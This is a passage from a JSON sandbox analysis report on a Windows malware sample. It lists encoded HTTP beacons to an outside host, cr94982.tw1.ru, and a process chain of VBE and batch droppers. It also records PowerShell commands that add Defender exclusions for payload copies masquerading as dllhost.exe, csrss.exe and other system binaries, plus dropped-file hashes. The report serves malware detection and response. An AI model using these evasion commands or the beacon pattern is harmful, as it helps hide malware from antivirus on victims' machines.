cr94982.tw1.ru","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"host":"cr94982.tw1.ru","host_ip":"92.53.96.121:80","url":"/c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1\nAccept: */*\nContent-Type: text/html\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36\nHost: cr94982.tw1.ru\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"host":"cr94982.tw1.ru","host_ip":"92.53.96.121:80","url":"$7b","method":"GET","response_code":"200","response_phrase":"OK","header":"$7c","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"host":"cr94982.tw1.ru","host_ip":"92.53.96.121:80","url":"$7d","method":"GET","response_code":"200","response_phrase":"OK","header":"$7e","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}],"processes":[{"pid":3560,"ppid":0,"name":"18f5a3194d73e08d7d66b7a3b42568b3.exe","command_line":"","sha256":"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1","normalized_path":"C:\\18f5a3194d73e08d7d66b7a3b42568b3.exe","uid":"00000000-00003560","icon":"$7f"},{"pid":3756,"ppid":3560,"name":"WScript.exe","command_line":"\"C:\\BlockproviderComponentweb\\no2eZG6mwS0.vbe\"","sha256":"2160ba6829909eeb1d272ac4a5f43588750c0b4743477bf2b46952033b5d4b3b","normalized_path":"%WINDIR%\\SysWOW64\\WScript.exe","parent_uid":"00000000-00003560","uid":"00000000-00003756"},{"pid":4056,"ppid":3756,"name":"cmd.exe","command_line":"%WINDIR%\\system32\\cmd.exe /c \"\"C:\\BlockproviderComponentweb\\QGmdpYGOg.bat\" \"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003756","uid":"00000000-00004056"},{"pid":3744,"ppid":4056,"name":"intoHostDhcp.exe","command_line":"","sha256":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d","normalized_path":"C:\\BlockproviderComponentweb\\intoHostDhcp.exe","parent_uid":"00000000-00004056","uid":"00000000-00003744"},{"pid":2956,"ppid":3744,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath 'C:\\BlockproviderComponentweb\\intoHostDhcp.exe'","sha256":"006cef6ef6488721895d93e4cef7fa0709c2692d74bde1e22e2a8719b2a86218","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003744","uid":"00000000-00002956"},{"pid":4412,"ppid":3744,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath '%PROGRAMFILES%\\Mozilla Firefox\\browser\\VisualElements\\dllhost.exe'","sha256":"006cef6ef6488721895d93e4cef7fa0709c2692d74bde1e22e2a8719b2a86218","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003744","uid":"00000000-00004412"},{"pid":4712,"ppid":3744,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath '%WINDIR%\\Web\\Wallpaper\\Scenes\\dllhost.exe'","sha256":"006cef6ef6488721895d93e4cef7fa0709c2692d74bde1e22e2a8719b2a86218","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003744","uid":"00000000-00004712"},{"pid":1480,"ppid":3744,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath 'C:\\TorService\\data\\WmiPrvSE.exe'","sha256":"006cef6ef6488721895d93e4cef7fa0709c2692d74bde1e22e2a8719b2a86218","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003744","uid":"00000000-00001480"},{"pid":2912,"ppid":3744,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath 'C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\csrss.exe'","sha256":"006cef6ef6488721895d93e4cef7fa0709c2692d74bde1e22e2a8719b2a86218","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003744","uid":"00000000-00002912"},{"pid":3432,"ppid":3744,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath '%PROGRAMFILES%\\(x86)\\Common Files\\Java\\Java Update\\conhost.exe'","sha256":"006cef6ef6488721895d93e4cef7fa0709c2692d74bde1e22e2a8719b2a86218","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003744","uid":"00000000-00003432"},{"pid":3288,"ppid":3744,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath 'C:\\Recovery\\d9a35956-d863-11e7-9dec-946ea4db88b1\\conhost.exe'","sha256":"006cef6ef6488721895d93e4cef7fa0709c2692d74bde1e22e2a8719b2a86218","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003744","uid":"00000000-00003288"},{"pid":4748,"ppid":3744,"name":"cmd.exe","command_line":"/C \"%TEMP%\\ZIbH1gfmBS.bat\"","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00000000-00003744","uid":"00000000-00004748"},{"pid":4128,"ppid":4748,"name":"w32tm.exe","command_line":"w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2","sha256":"9e338029b0d3be69ba7913a40e45e6841aad91a2d9d3feb8a8509e4c573b233a","normalized_path":"%WINDIR%\\system32\\w32tm.exe","parent_uid":"00000000-00004748","uid":"00000000-00004128"},{"pid":1672,"ppid":4748,"name":"conhost.exe","command_line":"","sha256":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d","normalized_path":"C:\\Recovery\\d9a35956-d863-11e7-9dec-946ea4db88b1\\conhost.exe","parent_uid":"00000000-00004748","uid":"00000000-00001672"},{"pid":1840,"ppid":0,"name":"dllhost.exe","command_line":"","sha256":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d","normalized_path":"%WINDIR%\\Web\\Wallpaper\\Scenes\\dllhost.exe","uid":"00000000-00001840","icon":"$80"},{"pid":4728,"ppid":1840,"name":"WScript.exe","command_line":"\"%TEMP%\\f97cd26b-1103-463c-9a94-23ac2044c8ca.vbs\"","sha256":"9c8a1b52a638ca87a5e7e60e635a3cbf89b04f5888995f55e2ad3d94ab009b97","normalized_path":"%WINDIR%\\System32\\WScript.exe","parent_uid":"00000000-00001840","uid":"00000000-00004728"},{"pid":1264,"ppid":0,"name":"conhost.exe","command_line":"","sha256":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d","normalized_path":"C:\\Recovery\\d9a35956-d863-11e7-9dec-946ea4db88b1\\conhost.exe","uid":"00000000-00001264","icon":"$81"},{"pid":4540,"ppid":0,"name":"WmiPrvSE.exe","command_line":"","sha256":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d","normalized_path":"C:\\TorService\\data\\WmiPrvSE.exe","uid":"00000000-00004540","icon":"$82"},{"pid":4544,"ppid":0,"name":"csrss.exe","command_line":"","sha256":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d","normalized_path":"C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\csrss.exe","uid":"00000000-00004544","icon":"$83"},{"pid":4732,"ppid":0,"name":"WmiPrvSE.exe","command_line":"","sha256":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d","normalized_path":"C:\\TorService\\data\\WmiPrvSE.exe","uid":"00000000-00004732","icon":"$84"},{"pid":4000,"ppid":0,"name":"conhost.exe","command_line":"","sha256":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d","normalized_path":"%PROGRAMFILES%\\(x86)\\Common Files\\Java\\Java Update\\conhost.exe","uid":"00000000-00004000","icon":"$85"},{"pid":1512,"ppid":0,"name":"WmiPrvSE.exe","command_line":"","sha256":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d","normalized_path":"C:\\TorService\\data\\WmiPrvSE.exe","uid":"00000000-00001512","icon":"$86"},{"pid":1420,"ppid":0,"name":"csrss.exe","command_line":"","sha256":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d","normalized_path":"C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\csrss.exe","uid":"00000000-00001420","icon":"$87"},{"pid":2800,"ppid":0,"name":"WmiPrvSE.exe","command_line":"","sha256":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d","normalized_path":"C:\\TorService\\data\\WmiPrvSE.exe","uid":"00000000-00002800","icon":"$88"},{"pid":2892,"ppid":0,"name":"conhost.exe","command_line":"","sha256":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d","normalized_path":"%PROGRAMFILES%\\(x86)\\Common Files\\Java\\Java Update\\conhost.exe","uid":"00000000-00002892","icon":"$89"},{"pid":4796,"ppid":0,"name":"csrss.exe","command_line":"","sha256":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d","normalized_path":"C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\csrss.exe","uid":"00000000-00004796","icon":"$8a"}],"all_imported_dlls":["wship6.dll","nsi.dll","crypt32.dll","msisip.dll","System.Security.ni.dll","Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll","rasadhlp.dll","FWPUCLNT.DLL","uxtheme.dll","tiptsf.dll","ucrtbase_clr0400.dll","Microsoft.Windows.Diagnosis.TroubleshootingPack.dll","lpk.dll","ws2_32.dll","api-ms-win-core-file-l1-2-0.dll","api-ms-win-crt-filesystem-l1-1-0.dll","System.Data.dll","Microsoft.BackgroundIntelligentTransfer.Management.dll","bcryptprimitives.dll","GdiPlus.dll","normaliz.dll","mpr.dll","atl.dll","ncrypt.dll","api-ms-win-crt-convert-l1-1-0.dll","api-ms-win-crt-math-l1-1-0.dll","cfgmgr32.dll","wbemcomn2.dll","Microsoft.PowerShell.Commands.Management.ni.dll","WSHTCPIP.DLL","oleaut32.dll","api-ms-win-crt-time-l1-1-0.dll","urlmon.dll","sxs.dll","System.ni.dll","wmiutils.dll","Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.dll","cryptnet.dll","version.dll","secur32.dll","System.Data.ni.dll","Microsoft.Management.Infrastructure.ni.dll","SensApi.dll","dhcpcsvc6.dll","tzres.dll","KernelBase.dll","vcruntime140_clr0400.dll","System.Core.ni.dll","System.Configuration.Install.ni.dll","imm32.dll","api-ms-win-core-timezone-l1-1-0.dll","shell32.dll","devobj.dll","dhcpcsvc.dll","rasapi32.dll","rtutils.dll","api-ms-win-core-localization-l1-2-0.dll","RpcRtRemote.dll","WMINet_Utils.dll","System.Transactions.ni.dll","usp10.dll","vcruntime140.dll","api-ms-win-crt-runtime-l1-1-0.dll","ntmarta.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","iertutil.dll","clrjit.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","gdi32.dll","shlwapi.dll","winmm.dll","System.Xml.ni.dll","dnsapi.dll","kernel32.dll","sspicli.dll","api-ms-win-core-xstate-l2-1-0.dll","System.Drawing.ni.dll","userenv.dll","ieframe.dll","mscorlib.ni.dll","wininet.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","apphelp.dll","wpdshext.dll","System.Web.dll","Microsoft.CSharp.ni.dll","Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll","comctl32.dll","api-ms-win-downlevel-user32-l1-1-0.dll","setupapi.dll","wintrust.dll","mscoree.dll","wbemprox.dll","ntdsapi.dll","credssp.dll","sfc_os.dll","sechost.dll","fltLib.dll","msvcp140.dll","api-ms-win-core-processthreads-l1-1-1.dll","api-ms-win-crt-utility-l1-1-0.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","System.Windows.Forms.ni.dll","msctf.dll","api-ms-win-crt-stdio-l1-1-0.dll","System.Configuration.ni.dll","nlssorting.dll","System.Management.Automation.dll","shdocvw.dll","bcrypt.dll","Microsoft.PowerShell.Security.ni.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","cryptsp.dll","mscoreei.dll","fastprox.dll","System.DirectoryServices.ni.dll","AutoItX3.PowerShell.dll","rasman.dll","msvcrt.dll","cryptbase.dll","riched20.dll","wbemsvc.dll","System.Management.Automation.ni.dll","diasymreader.dll","advapi32.dll","System.Runtime.Serialization.ni.dll","rpcss.dll","winbrand.dll","api-ms-win-core-synch-l1-2-0.dll","api-ms-win-crt-string-l1-1-0.dll","Wldap32.dll","clr.dll","mscorrc.dll","System.Transactions.dll","Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll","winnsi.dll","propsys.dll","api-ms-win-downlevel-version-l1-1-0.dll","IPHLPAPI.DLL","Microsoft.Windows.Diagnosis.SDEngine.dll","WindowsCodecs.dll","rsaenh.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","Microsoft.Management.Infrastructure.Native.ni.dll","api-ms-win-core-file-l2-1-0.dll","api-ms-win-crt-environment-l1-1-0.dll","VxSSL32.dll","scrrun.dll","winhttp.dll","mswsock.dll","pwrshsip.dll","Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll","gpapi.dll","user32.dll","clbcatq.dll","wshext.dll","System.Management.ni.dll","Microsoft.PowerShell.LocalAccounts.dll","webio.dll","wshqos.dll","ole32.dll","dwmapi.dll","api-ms-win-crt-heap-l1-1-0.dll","vbscript.dll","scrobj.dll","System.Numerics.ni.dll","psapi.dll","ntdll.dll","rpcrt4.dll","ucrtbase.dll","api-ms-win-crt-locale-l1-1-0.dll","profapi.dll","msasn1.dll","browcli.dll","resutils.dll","msi.dll","comdlg32.dll","PerfCounter.dll","perfos.dll","winsta.dll","utildll.dll","clusapi.dll","perfproc.dll","logoncli.dll","sysmain.dll","umpo.dll","wow64.dll","ServiceModelPerformanceCounters.dll","pdh.dll","httpapi.dll","netapi32.dll","wkscli.dll","iphlpsvc.dll","msvcr90.dll","wtsapi32.dll","MMDevAPI.dll","perfts.dll","srvcli.dll","netfxperf.dll","tquery.dll","wow64win.dll","msdtcuiu.dll","ktmw32.dll","netutils.dll","cryptdll.dll","esentprf.dll","mtxclu.dll","tapiperf.dll","usbperf.dll","WmiApRpl.dll","msdtcprx.dll","FXSRESM.dll","aspnet_counters.dll","powrprof.dll","azroles.dll","VxSSL64.dll","cscsvc.dll","bitsperf.dll","perfctrs.dll","ksuser.dll","avrt.dll","msscntrs.dll","perfdisk.dll","OLMAPI32.DLL","msvcp90.dll","wow64cpu.dll","samcli.dll","pcwum.dll","Aspnet_perf.dll","MSO.DLL","perfnet.dll","CORPerfMonExt.dll","rasctrs.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"dllhost.exe","sha256":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"615a949d-4820-474a-9d77-81f8861d75cf.vbs","sha256":"1928004b80696ce437e6fbafa715c2f8cc3a17360dfb5cfa875767cbed05c40c","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"name":"LkZH0FaUeD.bat","sha256":"05dd7c5e6c750c5058b55f52cb30d5e8e7e00a79ad004277b33ca3dd7394da8a","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"name":"csrss.exe","sha256":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"conhost.exe","sha256":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"wininit.exe","sha256":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"name":"OSPPSVC.exe","sha256":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"name":"063b1879-8590-40ca-8d37-4f6749b521e8.vbs","sha256":"16f049e45f6700c535ae11e7f40fbcea7785de572f5b1c3c9ec44886403f500a","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"name":"05fd39cebe04318f847a6a72e913bbe3c722c85f.exe","sha256":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"name":"csrss.exe.6A9E877A.bin","sha256":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"name":"WININIT.EXE.6A9E877A.bin","sha256":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"name":"QGmdpYGOg.bat","sha256":"ff9548c5810351eea938a04cc4b47dbb3cece7e555c16968edca4c140485f456","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"DISMHOST.EXE.6A9EA94A.bin","sha256":"ecb636b278261eade712e68ec7d805d20e802628248da872d3d0ada1432ffc11","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"name":"intoHostDhcp.exe","sha256":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"no2eZG6mwS0.vbe","sha256":"f636ad5bfab3cacd97532396ade77867a5e198445385ce0f18128a87c2c599e0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"5940a34987c991","sha256":"7ec39c015fcde0705e7f3a65948bb3d7755609474da286942bdfad89e68f77e9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"ModuleAnalysisCache","sha256":"b043444be5578c8d349c628471db35465c245aaf387778e2899d884cf560fb9c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sha256":"0300e9ddb527990e8b59d06e9ccf3ec2bd92d3bbd0ef4fba69d6336e4195e82d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"name":"mZa55Bw1Mk","sha256":"4108452700c915576a3e772746062e7dfcb3512d943fcdf8119abe72eb732c9f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"name":"886983d96e3d3e","sha256":"8500ab7a4eef4a1105f9b4fb2b7e56c876ce12cf05e67ca89e6bd5d3f992c8b4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"088424020bedd6","sha256":"2ed0b769c78532c0244d62564243c0dbaf836509ff0f73dca2f0a262620e1578","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"56085415360792","sha256":"09362b763ff0721e5f56b3d2363f22dcfd5e10e7a067df5e5a97ad0506a26616","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"name":"1610b97d3ab4a7","sha256":"600367ba474820c7c7ed8c06f6dc6bc9be9ee88327aca20aeb779bac0f176436","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"name":"8de59fd0244c45416985d79d676bae9b24a8e733.exe","sha256":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"ZIbH1gfmBS.bat","sha256":"1a6a85c3867c8cdedd18e4d7469d98911466265b397f2e4a5895bd6725135861","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"f97cd26b-1103-463c-9a94-23ac2044c8ca.vbs","sha256":"8ac44e9caa322d222f7e3cbfa9ea87027ae668757ddf2f16fe79e1ff51c8e128","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"WmiPrvSE.exe","sha256":"3098b5044a048fc12aa27784d29635bbba89bac9c184cfbecd34c62c8a29987d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"JlqweY7WEK","sha256":"a77f47766ab93b6bdf25aa69ad7bc59f1f5529f1c169322c850828b1bbdd121f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"b7808bc5-49fe-4763-a754-4cbe88a5f359.vbs","sha256":"1ceaa2fc0c442d69e6cdd1143817cb6a4ef5d26f218d434e18104bcd19719fbc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]}],"files_written":[{"path":"C:\\BlockproviderComponentweb\\__tmp_rar_sfx_access_check_907529030","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"C:\\BlockproviderComponentweb\\QGmdpYGOg.bat","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"C:\\BlockproviderComponentweb\\intoHostDhcp.exe","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"C:\\BlockproviderComponentweb\\no2eZG6mwS0.vbe","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"},{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"path":"%USERPROFILE%\\Oracle\\Java\\javapath\\dllhost.exe","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%ALLUSERSPROFILE%\\Oracle\\Java\\javapath\\dllhost.exe","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%ALLUSERSPROFILE%\\Oracle\\Java\\javapath_target_623756\\dllhost.exe","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%USERPROFILE%\\Oracle\\Java\\javapath\\5940a34987c991","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%ALLUSERSPROFILE%\\Oracle\\Java\\javapath\\5940a34987c991","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%ALLUSERSPROFILE%\\Oracle\\Java\\javapath_target_623756\\5940a34987c991","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"C:\\TorService\\tor\\pluggable_transports\\csrss.exe","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"C:\\TorService\\tor\\pluggable_transports\\886983d96e3d3e","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"C:\\BlockproviderComponentweb\\OSPPSVC.exe","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"C:\\BlockproviderComponentweb\\1610b97d3ab4a7","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%WINDIR%\\PLA\\Templates\\wininit.exe","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%WINDIR%\\PLA\\Templates\\56085415360792","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"C:\\Temp\\conhost.exe","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"C:\\Temp\\088424020bedd6","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%WINDIR%\\L2Schemas\\csrss.exe","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%WINDIR%\\L2Schemas\\886983d96e3d3e","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%WINDIR%\\Media\\Quirky\\conhost.exe","sources":[{"report_type":"sandbox","report_id":"6a9dff27eb5f87db9a04eb9b"}]},{"path":"%WINDIR%\\Media\\Quirky\\088424020bedd6","sources":[{"report_type":"sandb